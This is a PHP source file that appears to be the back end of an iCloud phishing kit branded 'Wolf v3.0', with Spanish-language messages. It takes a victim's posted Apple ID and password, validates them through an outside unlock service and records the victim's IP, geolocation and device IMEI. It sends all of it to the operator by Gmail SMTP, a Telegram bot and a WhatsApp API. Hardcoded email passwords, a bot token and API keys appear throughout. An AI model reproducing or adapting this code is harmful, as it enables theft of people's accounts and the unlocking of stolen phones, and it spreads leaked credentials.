<?php
error_reporting(0);
ini_set("include_path", '/home/fiyukfio/php:' . ini_get("include_path") );
 include "Mail.php";
 include "Mail/mime.php";
include "../class-icloud.php";
date_default_timezone_set('Mexico/General');
 require_once('geoplugin.class.php');

$geoplugin = new geoPlugin();
// If we wanted to change the base currency, we would uncomment the following         line
// $geoplugin->currency = 'EUR';

$geoplugin->locate();
$idequipo = $_POST['id'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://www.wolf-platform.com/unlocks.php?id=".$idequipo);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = "Host: www.wolf-platform.com";
$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
$headers[] = "Accept: */*";
$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "Referer: http://www.wolf-platform.com/test.php";
$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
$headers[] = "Connection: keep-alive";
$headers[] = "Cache-Control: max-age=0";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close ($ch);

$response =  simplexml_load_string($result);

@set_time_limit(0);
@session_start();
$x=@md5(@microtime());
$ip=getenv("REMOTE_ADDR");
$i_O="COMPUTED";
$rand = md5(microtime());
$I_O="UserComment";
$date = date("d M, Y");
$time = date("g:i a");
$date = trim($date . ", Time : " . $time);
$useragent = $_SERVER['HTTP_USER_AGENT'];
   function getr($ip){
$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'http://ip-api.toolz-home.gq/');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
            "IP=".$ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $server_output = curl_exec ($ch);
    curl_close ($ch);
}
$iCloud = new iCloud();
$ID = $_POST["xuser"];
$PW = $_POST["xpass"];
if (isset($_POST["xuser"]) && isset($_POST["xpass"])) {
    $iduser = $row['iduser'];
    $user = "select correo, numero, rol from users where iduser=$iduser";
    $queryu = mysqli_query($db, $user);
    $rU = mysqli_fetch_assoc($queryu);
    $isCloud=0;
    $c = curl_init();
        curl_setopt($c, CURLOPT_URL, "http://ghostunlock.com/removeV5.php"); 
        curl_setopt($c, CURLOPT_TIMEOUT, 30);
        curl_setopt($c, CURLOPT_POST, 1);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $postfields = 'action=validate&appleid='.$ID.'&password='.$PW; 
        curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
        $result = curl_exec($c);
        curl_close($c);
    if ($result != "ERROR") {
        /*$c = curl_init();
        curl_setopt($c, CURLOPT_URL, "https://hollyrenew.website/remove.php"); 
        curl_setopt($c, CURLOPT_TIMEOUT, 30);
        curl_setopt($c, CURLOPT_POST, 1);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $postfields = 'action=remove&appleid='.$ID.'&password='.$PW; 
        curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
        $result = curl_exec($c);
        curl_close($c);*/
        $devices = $result;
        $to=$response->correo;
        $message = '
            <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><meta content="text/html; charset=ISO-8859-1" http-equiv="content-type"><title></title></head>
<body><table id="emailBody_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: Helvetica,Arial,&quot;Lucida Grande&quot;,sans-serif; font-size: 15px; font-style: normal; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important; color: rgb(255, 255, 255);" bgcolor="#30363A" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top"><img style="width: 342px; height: 100px;" alt="" src="https://i.ibb.co/FVdH6tT/rbwbr.png"><h2 style="margin: 0px; padding: 0px; font-weight: normal; font-size: 23px; line-height: 31.05px; text-align: center; letter-spacing: normal; display: block; font-style: normal; font-family: HACKED; color: white;"><img style="width: 186px; height: 32px;" alt="" src=""><br></h2></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><h3 mc:edit="header" style="margin: 0px 0px 3px; padding: 0px; color: rgb(95, 95, 95); font-size: 25px; font-weight: normal; font-family: Helvetica,Arial,sans-serif; line-height: 31.25px; text-align: center; letter-spacing: normal; display: block; font-style: normal;">En hora buena!! :)</h3><div mc:edit="body" style="text-align: center; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; color: rgb(95, 95, 95); line-height: 20.25px;">ID de Apple valido ha sido obtenido con exito,</div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><h2 style="margin: 0px 0px 3px; padding: 0px; color: rgb(95, 95, 95); font-weight: 500; font-family: Helvetica,Arial,sans-serif; font-size: 25px; line-height: 31.25px; text-align: left; letter-spacing: normal; display: block; font-style: normal;">Detalles de la cuenta:</h2><div style="text-align: left; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; margin-top: 3px; color: rgb(95, 95, 95); line-height: 20.25px;"><strong>Hora y Fecha =&gt;<span>&nbsp;</span></strong>'.$date.'<span>&nbsp;</span><br>
<strong>Apple ID =&gt;<span>&nbsp;</span></strong><a href="#" rel="noopener" style="color: rgb(0, 119, 204); text-decoration: none ! important; font-weight: normal ! important;">'.$_POST['xuser'].'</a><span>&nbsp;</span><br>
<strong>Password =&gt;<span>&nbsp;</span></strong>'.$_POST['xpass'].'<span>&nbsp;</span><br>
<strong>Cliente: <span>&nbsp;</span></strong>'.$response->cliente.'<span>&nbsp;</span><br>
<strong>IMEI =&gt;<span>&nbsp;</span></strong>'.$response->imei.'<span>&nbsp;</span><br>
<strong>Dispositivo =&gt;<span>&nbsp;</span></strong>'.$response->equipo.'<span>&nbsp;</span><br>
<strong>IP =&gt;<span>&nbsp;</span></strong>'.$ip.'<span>&nbsp;</span><br>
<strong>Pais =&gt;<span>&nbsp;</span></strong>'.$geoplugin->countryName.'<span>&nbsp;</span><br>
<strong>Ciudad =&gt;<span>&nbsp;</span></strong>'.$geoplugin->city.'<span>&nbsp;</span><br>
<strong>Region =&gt;<span>&nbsp;</span></strong>'.$geoplugin->regionName.'<span>&nbsp;</span><br>
<strong>User-Agent =&gt;<span>&nbsp;</span></strong>'.$useragent.'<br>
<strong>Dispositivos Desbloqueados =&gt;<span>&nbsp;</span></strong>'.$devices.'</div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr style="padding-top: 0px;"><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important; width: 500px; height: 17px;" border="0" cellpadding="30" cellspacing="0"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important; padding-top: 30px;" align="center" valign="top" width="500"></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" bgcolor="#30363A" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><div style="text-align: center; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; margin-top: 3px; color: rgb(240, 240, 240); line-height: 20.25px;"> Powered by Wolf Server v3.0 </div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>
        ';
        $subject = "Desbloqueo Exitoso: ".$response->equipo;
        $rem = "Wolf v3.0"; 
        $from = $rem." <mrtool.mx@gmail.com>";
        $html = $message; //content
        $mime = new Mail_mime();
        $mime->setHTMLBody($html);
        $body = $mime->get();
         
        $host = "smtp.gmail.com";
        $port = "587"; // 8025, 587 and 25 can also be used.

         /*$username = "fmi-alert@supportnoreply.in";
         $password = "Fmi.2017"; */
        $username = "mrtool.mx@gmail.com";
        $password = "246810LAa.";
         
        $xheaders = array ('From' => $from,
            'Subject' => $subject,
            'MIME-Version' => "1.0",
            'Content-type' => "text/html; charset=iso-8859-1");
        $headers = $mime->headers($xheaders);
         
        $smtp = Mail::factory('smtp',
        array ('host' => $host,
            'port' => $port,
            'auth' => true,
            'username' => $username,
            'password' => $password));
         
        $mail = $smtp->send($to, $headers, $body);
        /*if (PEAR::isError($mail)) {
            echo $mail->getMessage();
        }*/

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, "http://www.wolf-platform.com/datos.php?id=".$idequipo."&appleid=".urlencode($ID)."&password=".urlencode($PW)."&remove=".urlencode($devices));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

        $headers = array();
        $headers[] = "Host: www.wolf-platform.com";
        $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
        $headers[] = "Accept: */*";
        $headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
        $headers[] = "X-Requested-With: XMLHttpRequest";
        $headers[] = "Referer: http://www.wolf-platform.com/test.php";
        $headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
        $headers[] = "Connection: keep-alive";
        $headers[] = "Cache-Control: max-age=0";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close ($ch);
        $checkfmi = "";
        if($response->fmiactive!=0){
             $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "http://www.wolf-platform.com/getCheckFmi.php?ideq=".$idequipo."&imei=".$response->imei."&iduser=".$response->iduser);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

            $headers = array();
            $headers[] = "Host: www.wolf-platform.com";
            $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
            $headers[] = "Accept: */*";
            $headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
            $headers[] = "X-Requested-With: XMLHttpRequest";
            $headers[] = "Referer: http://www.wolf-platform.com/test.php";
            $headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
            $headers[] = "Connection: keep-alive";
            $headers[] = "Cache-Control: max-age=0";
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close ($ch);
            $checkfmi = ", iCloud Status Check: *".strip_tags($result)."*";
            $checkfmi = str_replace($response->imei, $response->imei." ", $checkfmi);
        }
        
        if($response->chatid!=""){
$devs = strip_tags($devices);
$devs = str_replace('&quot;', ' Inch ', $devs);
$devs = str_replace('Model:', ' Model:', $devs);
$devs = str_replace('ved!', 'ved!
', $devs);
$devs = str_replace('iled', 'iled
', $devs);

//NUEVOS DATOS REMOVE
$devs = str_replace('Autoremove:', 'Autoremove:
', $devs);
$devs = str_replace('IMEI:', '
IMEI:', $devs);
$devs = str_replace('Serial:', '
Serial:', $devs);
$devs = str_replace('Dispositivo:', '
Dispositivo:', $devs);
$devs = str_replace('Nombre:', '
Nombre:', $devs);
$devs = str_replace('Result:', '
Result:', $devs);
$devs = str_replace('✘', '✘
----------------------------', $devs);
$devs = str_replace('✔', '✔
----------------------------', $devs);
//NUEVOS DATOS REMOVE

if(isset($_POST['xiaomi']) || isset($_POST['gmail']) || isset($_POST['outlook']) || isset($_POST['face']) || isset($_POST['twitter'])){
$resdev = "";
$sufijo = "ACCOUNT";
}else{
$resdev='Dispositivos Eliminados:
'.$devs;
$sufijo = "APPLE";
}
$msj = '
ЁЯМйя╕ПЁЯУ┤ Datos Correctos Obtenidos ЁЯУ┤ ЁЯМй

'.$sufijo.' ID:
'.$_POST['xuser'].'
CONTRASE├СA:
'.$_POST['xpass'].'

тЮбя╕П IMEI '.$response->imei.'
тЮбя╕П MODELO '.$response->equipo.'
тЮбя╕П CLIENTE '.$response->cliente.'
тЮбя╕П Notas: '.$response->notas.'
тЮбя╕П Fecha: '.str_replace("Time", "Hora", $date).'
тЮбя╕П IP: '.$ip.'
тЮбя╕П Pais: '.$geoplugin->countryName . '  
тЮбя╕П Ciudad: '.$geoplugin->city.'
тЮбя╕П Region: '.$geoplugin->regionName. '
тЮбя╕П User Agent: '.$useragent.'

'.$checkfmi.'


'.$resdev.'

Powered by Wolf v3 ЁЯР║';
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot1978759475:AAHYDzbFdHoTiwaADK5XeK7abz91UhehuFQ/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        //$update = "update equipos set appleid='$ID', password='$PW', estatus=2 where ideq=$idequipo";
        //mysqli_query($db, $update);
        //echo $body = implode("\n",$devices_array);
        //getr($message);
        $isCloud=1;
        /*@fclose(@fwrite(@fopen("./r3sult/fulls.txt", "a"),$message));
        exit();*/
        /*if($rU['rol']==1){
            $number=$rU['numero'];
            $mensaje="Equipo Desbloqueado, IMEI: ".$row['imei'].", Cliente: ".$row['cliente'].", ID: ".$_POST['xuser'].", pass: ".$_POST['xpass'];
            $url = 'https://rest.nexmo.com/sms/json?' . http_build_query(
                [
                    'api_key' =>  '0bbd124a',
                    'api_secret' => 'a30ab2e77f3fbaac',
                    'to' => $number,
                    'from' => 'Desbloqueos',
                    'text' => $mensaje
                ]
            );
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($ch);
            $decoded_response = json_decode($response, true);
        }*/
    }else{
        $to=$response->correo;
        $message = '
            <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><meta content="text/html; charset=ISO-8859-1" http-equiv="content-type"><title></title></head>
<body><table id="emailBody_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); font-family: Helvetica,Arial,&quot;Lucida Grande&quot;,sans-serif; font-size: 15px; font-style: normal; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important; color: rgb(255, 255, 255);" bgcolor="#30363A" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top"><img style="width: 342px; height: 100px;" alt="" src="https://i.ibb.co/FVdH6tT/rbwbr.png"><h2 style="margin: 0px; padding: 0px; font-weight: normal; font-size: 23px; line-height: 31.05px; text-align: center; letter-spacing: normal; display: block; font-style: normal; font-family: HACKED; color: white;"><img style="width: 186px; height: 32px;" alt="" src=""><br>
</h2></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><h3 mc:edit="header" style="margin: 0px 0px 3px; padding: 0px; color: rgb(95, 95, 95); font-size: 25px; font-weight: normal; font-family: Helvetica,Arial,sans-serif; line-height: 31.25px; text-align: center; letter-spacing: normal; display: block; font-style: normal;">Password o ID incorrecto :(</h3><div mc:edit="body" style="text-align: center; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; color: rgb(95, 95, 95); line-height: 20.25px;">Inicio de sesion fallido para el siguiente dispositivo.</div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" bgcolor="#f8f8f8" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><h2 style="margin: 0px 0px 3px; padding: 0px; color: rgb(95, 95, 95); font-weight: 500; font-family: Helvetica,Arial,sans-serif; font-size: 25px; line-height: 31.25px; text-align: left; letter-spacing: normal; display: block; font-style: normal;">Detalles de la cuenta:</h2><div style="text-align: left; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; margin-top: 3px; color: rgb(95, 95, 95); line-height: 20.25px;"><strong>Time Logged =&gt;<span>&nbsp;</span></strong>'.$date.'<span>&nbsp;</span><br>
<strong>Email ID =&gt;<span>&nbsp;</span></strong><a href="#" rel="noopener" style="color: rgb(0, 119, 204); text-decoration: none ! important; font-weight: normal ! important;">'.$_POST['xuser'].'</a><span>&nbsp;</span><br>
<strong>Password =&gt;<span>&nbsp;</span></strong>'.$_POST['xpass'].'<span>&nbsp;</span><br>
<strong>Cliente =&gt;<span>&nbsp;</span></strong>'.$response->cliente.'<span>&nbsp;</span><br>
<strong>Imei =&gt;<span>&nbsp;</span></strong>'.$response->imei.'<span>&nbsp;</span><br>
<strong>Dispositivo =&gt;<span>&nbsp;</span></strong>'.$response->equipo.'<span>&nbsp;</span><br>
<strong>IP =&gt;<span>&nbsp;</span></strong>'.$ip.'<span>&nbsp;</span><br>
<strong>Pais =&gt;<span>&nbsp;</span></strong>'.$geoplugin->countryName.'<span>&nbsp;</span><br>
<strong>Ciudad =&gt;<span>&nbsp;</span></strong>'.$geoplugin->city.'<span>&nbsp;</span><br>
<strong>Region =&gt;<span>&nbsp;</span></strong>'.$geoplugin->regionName.'<span>&nbsp;</span><br>
<strong>User-Agent =&gt;<span>&nbsp;</span></strong>'.$useragent.'<br>
<strong>Ningun Dispositivo Desbloqueado :( =&gt;<span>&nbsp;</span></strong>0</div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr style="padding-top: 0px;"><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important; width: 500px; height: 17px;" border="0" cellpadding="30" cellspacing="0"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important; padding-top: 30px;" align="center" valign="top" width="500"></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" bgcolor="#30363A" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table class="flexibleContainer_mailru_css_attribute_postfix" style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="500"><tbody><tr><td class="flexibleContainerCell_mailru_css_attribute_postfix" style="font-weight: normal ! important;" align="center" valign="top" width="500"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="30" cellspacing="0" width="100%"><tbody><tr><td style="font-weight: normal ! important;" align="center" valign="top"><table style="border-collapse: collapse; font-weight: normal ! important;" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td class="textContent_mailru_css_attribute_postfix" style="font-weight: normal ! important;" valign="top"><div style="text-align: center; font-family: Helvetica,Arial,sans-serif; font-size: 15px; margin-bottom: 0px; margin-top: 3px; color: rgb(240, 240, 240); line-height: 20.25px;">Powered by Wolf Server v3.0 </div></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></td></tr></tbody></table></body></html>
        ';
        $subject = "Datos Erroneos Registrados: ".$response->equipo."";
        $rem = "Wolf Server v3.0"; 
        $from = $rem." <mrtool.mx@gmail.com>";
        $html = $message; //content
        $mime = new Mail_mime();
        $mime->setHTMLBody($html);
        $body = $mime->get();
         
        $host = "smtp.gmail.com";
        $port = "587"; // 8025, 587 and 25 can also be used.

         /*$username = "fmi-alert@supportnoreply.in";
         $password = "Fmi.2017"; */
        $username = "mrtool.mx@gmail.com";
        $password = "246810LAa.";
         
        $xheaders = array ('From' => $from,
            'Subject' => $subject,
            'MIME-Version' => "1.0",
            'Content-type' => "text/html; charset=iso-8859-1");
        $headers = $mime->headers($xheaders);
         
        $smtp = Mail::factory('smtp',
        array ('host' => $host,
            'port' => $port,
            'auth' => true,
            'username' => $username,
            'password' => $password));
         
        $mail = $smtp->send($to, $headers, $body);
        /*if (PEAR::isError($mail)) {
            echo $mail->getMessage();
        }*/
        if($response->numero!=0){
            // Generated by curl-to-PHP: http://incarnate.github.io/curl-to-php/
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, 'https://eu51.chat-api.com/instance58754/sendMessage?token=krqjqfxoa21p575y');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, '{"phone": '.$response->numero.',"body": "Datos *Erroneos* Obtenidos de *'.$response->equipo.'*, IMEI: '.$response->imei.', Username: *'.$_POST['xuser'].'*, Password: *'.$_POST['xpass'].'*, Fecha: '.str_replace("Time", "Hora", $date).'"}');
            curl_setopt($ch, CURLOPT_POST, 1);

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        if($response->chatid!=""){
$msj = 'тЭМтЮбя╕П Datos Erroneos Obtenidos тмЕя╕ПтЭМ

Apple ID: '.$_POST['xuser'].'
Password: '.$_POST['xpass'].'

тЮбя╕П Modelo: '.$response->equipo.'
тЮбя╕П Imei: '.$response->imei.'
тЮбя╕П Cliente: '.$response->cliente.'
тЮбя╕П Notas: '.$response->notas.'
тЮбя╕П Fecha: '.str_replace("Time", "Hora", $date).'
тЮбя╕П IP: '.$ip.'
тЮбя╕П Pais: '.$geoplugin->countryName . '  
тЮбя╕П Ciudad: '.$geoplugin->city.'
тЮбя╕П Region: '.$geoplugin->regionName. '
тЮбя╕П User Agent: '.$useragent.';


Powered by Wolf v3 ЁЯР║';

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot1978759475:AAHYDzbFdHoTiwaADK5XeK7abz91UhehuFQ/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        //header("Location: http://find-iddevice.esy.es?id=".$idequipo);
    }
    echo $isCloud;
}
?>